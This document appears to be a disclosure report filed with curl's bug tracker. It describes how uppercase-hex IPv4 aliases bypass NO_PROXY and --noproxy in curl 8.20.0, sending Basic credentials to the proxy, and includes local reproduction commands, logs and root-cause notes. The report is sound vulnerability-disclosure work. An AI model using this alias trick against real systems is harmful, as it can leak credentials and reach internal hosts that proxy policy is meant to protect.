curl · Report #3773293
curl/libcurl 8.20.0 NOPROXY bypass via uppercase-hex IPv4 aliases leaks off-proxy Basic credentials to the configured proxy
How it was found
Summary:
curl/libcurl 8.20.0 fails to enforce CURLOPT_NOPROXY, --noproxy, and NO_PROXY consistently for uppercase-hex IPv4 aliases such as 0X7f.1 on glibc-based systems that accept these legacy numeric IPv4 forms.
When a canonical IP literal is excluded from proxying, curl sends the canonical form directly as configured. However, an equivalent uppercase-hex alias for the same IP is not recognized by the no-proxy matching path and is instead sent to the configured proxy.
In my reproductions, this causes built-in HTTP Basic credentials to be disclosed to the proxy. This is a proxy-boundary bypass / policy-vs-resolution mismatch, not an SSRF claim.
Steps To Reproduce:
The main reproduction below uses the non-debug 8.20.0 CLI path and NO_PROXY, which I found to be the strongest and most common policy path. The same root cause also reproduces through --noproxy and CURLOPT_NOPROXY; supporting artifacts are attached.
-
Build curl 8.20.0 from the official release tarball as a non-debug build: cd /tmp curl -fsSLO https://curl.se/download/curl-8.20.0.tar.xz mkdir /tmp/curl-8.20.0-src /tmp/curl-8.20.0-relbuild2 tar -xf /tmp/curl-8.20.0.tar.xz -C /tmp/curl-8.20.0-src --strip-components=1 cd /tmp/curl-8.20.0-relbuild2 /tmp/curl-8.20.0-src/configure
--with-openssl
--without-libidn2
--without-libpsl
--without-brotli
--without-zstd
--without-libssh2
--without-nghttp2
--disable-ldap
--disable-ldaps
--disable-ftp
--disable-file
--disable-tftp
--disable-rtsp
--disable-dict
--disable-telnet
--disable-pop3
--disable-imap
--disable-smb
--disable-smtp
--disable-gopher
--disable-mqtt
--disable-manual make -j2 -
Start the attached local target/proxy logger: python3 /tmp/curl_proxy_boundary_probe.py
This starts: a target on 127.0.0.1:18081 a logging proxy on 127.0.0.1:18082
- Run the canonical control request:
NO_PROXY=127.0.0.1
/tmp/curl-8.20.0-relbuild2/src/curl -sv
--proxy http://127.0.0.1:18082
-u alice:sekret --basic
http://127.0.0.1:18081/
Observe: curl connects directly to 127.0.0.1:18081 the response is 200
- Run the uppercase-hex alias request with the same policy:
NO_PROXY=127.0.0.1
/tmp/curl-8.20.0-relbuild2/src/curl -sv
--proxy http://127.0.0.1:18082
-u alice:sekret --basic
http://0X7f.1:18081/
Observe: curl prints Uses proxy env variable NO_PROXY == '127.0.0.1' the request is sent to the proxy instead of directly to the target the response is 502 from the logging proxy built-in Authorization: Basic YWxpY2U6c2VrcmV0 is visible in the proxy-side request
- Check the server-side log: sed -n '1,20p' /tmp/curl_proxy_boundary_probe.log
Representative result: target ... GET / ... Host: 127.0.0.1:18081 Authorization: Basic YWxpY2U6c2VrcmV0 proxy ... GET http://0X7f.1:18081/ ... Host: 0X7f.1:18081 Authorization: Basic YWxpY2U6c2VrcmV0
- Additional verified variants included in the attached bundle: --noproxy 127.0.0.1 NO_PROXY=127.0.0.0/8 CURLOPT_NOPROXY through a non-debug libcurl PoC internal/private target classes reproduced in controlled local setups: 10.0.0.0/8 172.16.0.0/12 192.168.0.0/16 169.254.169.254 second full runtime reproduction in a Debian bookworm-slim container
Affected version
Primary affected release reproduced locally from the official source tarball: curl 8.20.0 (x86_64-pc-linux-gnu) libcurl/8.20.0 OpenSSL/3.6.1 zlib/1.3.1 Release-Date: 2026-04-29 Protocols: http https ipfs ipns ws wss Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz SSL threadsafe TLS-SRP UnixSockets
Environment details: host runtime reproduction on glibc 2.42 second full runtime reproduction in Debian bookworm-slim (glibc 2.36)
I also reproduced the same sink on current master at commit: 24874a4f04
Supporting Material/References:
Attached bundle: curl_noproxy_uppercase_hex_bundle_2026-06-01.zip Key included artifacts: noproxy_env_loopback.log debian_container_probe.log curl_noproxy_alias_poc.c curl_proxy_boundary_probe.py run_debian_container_noproxy_probe.sh run_noproxy_private_ns_probe.sh REPORT_curl_noproxy_uppercase_hex.md
Root cause notes: lib/noproxy.c only takes the IP/CIDR matching path when inet_pton() accepts the host string as IPv4 lib/urlapi.c normalizes lowercase 0x numeric IPv4 forms, but not uppercase 0X glibc-based resolvers used in my reproductions still accept uppercase-hex legacy numeric IPv4 aliases and resolve them to the same target IP this creates a policy-vs-resolution mismatch: the configured off-proxy exclusion is not consistently honored for equivalent numeric forms
Impact
This issue breaks the documented off-proxy routing boundary enforced by CURLOPT_NOPROXY, --noproxy, and NO_PROXY.
On affected glibc-based systems, an uppercase-hex alias for a loopback, RFC1918, or link-local target can cause:
- requests that should stay off-proxy to be sent to the configured proxy instead
- built-in HTTP Basic credentials generated by curl/libcurl to be disclosed to the proxy
- proxy exclusion policy for sensitive internal targets to be bypassed